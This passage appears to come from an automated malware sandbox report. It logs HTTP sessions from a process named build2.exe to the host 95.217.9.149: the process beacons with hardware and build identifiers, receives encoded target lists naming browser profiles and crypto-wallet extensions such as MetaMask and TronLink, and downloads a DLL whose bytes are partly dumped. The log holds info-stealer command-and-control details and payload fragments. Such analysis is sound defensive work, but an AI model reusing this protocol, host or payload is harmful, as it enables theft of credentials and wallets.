61 38 35 38 33 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#e088858c90a0d28990ce8d85df9395828a8583
2024-04-24 15:37:20 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 65 61 36 61 62 61 32 62 65 38 65 66 63 61 37 62 65 65 30 62 62 61 66 66 31 62 64 62 62 61 63 61 34 61 62 61 64 62 61 66 33 66 63 61 37 62 65 65 30 62 62 61 66 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#cea6aba2be8efca7bee0bbaff1bdbbaca4abadbaf3fca7bee0bbaf"><s
2024-04-24 15:37:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49715	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:20 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBK User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:20 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 30 38 43 43 36 33 35 42 46 30 32 34 36 39 31 37 33 31 37 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="hwid"2408CC635BF02469173176-a33c7340-61ca-11ee-8c18-806e6f6e6963------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 15:37:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:21 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 39 65 31 61 66 61 30 61 66 63 65 38 62 35 62 35 63 34 64 31 64 32 39 64 66 36 65 39 62 66 31 30 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|9e1afa0afce8b5b5c4d1d29df6e9bf10\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49718	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:22 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKF User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:22 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 31 61 66 61 30 61 66 63 65 38 62 35 62 35 63 34 64 31 64 32 39 64 66 36 65 39 62 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"9e1afa0afce8b5b5c4d1d29df6e9bf10------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------AAEHJEGIIDAECAAKEBKFCont
2024-04-24 15:37:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:23 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49720	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:23 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:23 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 31 61 66 61 30 61 66 63 65 38 62 35 62 35 63 34 64 31 64 32 39 64 66 36 65 39 62 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"9e1afa0afce8b5b5c4d1d29df6e9bf10------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------EHJDGHJDBFIJKECAECAFCont
2024-04-24 15:37:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:25 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49721	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:25 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 5909 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:25 UTC	5909	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 31 61 66 61 30 61 66 63 65 38 62 35 62 35 63 34 64 31 64 32 39 64 66 36 65 39 62 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"9e1afa0afce8b5b5c4d1d29df6e9bf10------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------FIJJKECFCFBGDHIECAAFCont
2024-04-24 15:37:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:37:26 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49722	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:37:27 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:37:28 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:37:27 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 15:37:28 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 15:37:28 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 15:37:28 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 15:37:28 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 15:37:28 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 15:37:29 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 15:37:29 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 15:37:29 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 15:37:29 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 15:37:29 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49723	95.217.9.149	443	7780	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

Timestamp	Bytes transferred	Direction	Data
